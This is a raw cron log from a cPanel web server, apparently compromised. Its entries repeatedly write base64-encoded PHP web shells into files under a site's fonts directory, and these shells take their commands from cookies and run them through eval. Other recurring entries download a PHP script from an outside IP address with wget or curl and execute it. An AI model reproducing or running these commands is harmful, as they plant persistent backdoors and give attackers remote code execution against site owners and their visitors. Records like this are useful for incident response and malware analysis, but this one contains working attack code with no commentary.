Sep 10 02:45:01 ip-184-168-122-23 CROND[19711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:45:01 ip-184-168-122-23 CROND[19713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:45:01 ip-184-168-122-23 CROND[19712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:45:01 ip-184-168-122-23 CROND[19709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:46:01 ip-184-168-122-23 CROND[19800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:46:01 ip-184-168-122-23 CROND[19801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 02:46:01 ip-184-168-122-23 CROND[19804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:46:01 ip-184-168-122-23 CROND[19808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:46:01 ip-184-168-122-23 CROND[19806]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 02:46:01 ip-184-168-122-23 CROND[19807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:46:01 ip-184-168-122-23 CROND[19810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:47:01 ip-184-168-122-23 CROND[19986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:47:01 ip-184-168-122-23 CROND[19985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:47:01 ip-184-168-122-23 CROND[19987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:47:01 ip-184-168-122-23 CROND[19988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:48:01 ip-184-168-122-23 CROND[20069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:48:01 ip-184-168-122-23 CROND[20071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:48:01 ip-184-168-122-23 CROND[20073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:48:01 ip-184-168-122-23 CROND[20072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:48:01 ip-184-168-122-23 CROND[20074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:49:01 ip-184-168-122-23 CROND[20152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:49:01 ip-184-168-122-23 CROND[20155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:49:01 ip-184-168-122-23 CROND[20154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:49:01 ip-184-168-122-23 CROND[20153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20274]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:50:01 ip-184-168-122-23 CROND[20282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:50:01 ip-184-168-122-23 CROND[20283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:51:01 ip-184-168-122-23 CROND[20375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:51:01 ip-184-168-122-23 CROND[20378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:51:01 ip-184-168-122-23 CROND[20377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:51:01 ip-184-168-122-23 CROND[20379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:52:01 ip-184-168-122-23 CROND[20456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:52:01 ip-184-168-122-23 CROND[20457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:52:01 ip-184-168-122-23 CROND[20458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:52:01 ip-184-168-122-23 CROND[20459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:52:01 ip-184-168-122-23 CROND[20460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:53:01 ip-184-168-122-23 CROND[20545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:53:01 ip-184-168-122-23 CROND[20546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:53:01 ip-184-168-122-23 CROND[20544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:53:01 ip-184-168-122-23 CROND[20547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:54:01 ip-184-168-122-23 CROND[20629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:54:01 ip-184-168-122-23 CROND[20632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:54:01 ip-184-168-122-23 CROND[20631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:54:01 ip-184-168-122-23 CROND[20634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:54:01 ip-184-168-122-23 CROND[20633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:55:01 ip-184-168-122-23 CROND[20798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:55:01 ip-184-168-122-23 CROND[20799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:55:01 ip-184-168-122-23 CROND[20801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:55:01 ip-184-168-122-23 CROND[20800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:55:01 ip-184-168-122-23 CROND[20802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:55:01 ip-184-168-122-23 CROND[20804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:56:01 ip-184-168-122-23 CROND[20885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:56:01 ip-184-168-122-23 CROND[20889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:56:01 ip-184-168-122-23 CROND[20891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:56:01 ip-184-168-122-23 CROND[20892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:56:01 ip-184-168-122-23 CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:57:02 ip-184-168-122-23 CROND[20981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:57:02 ip-184-168-122-23 CROND[20980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
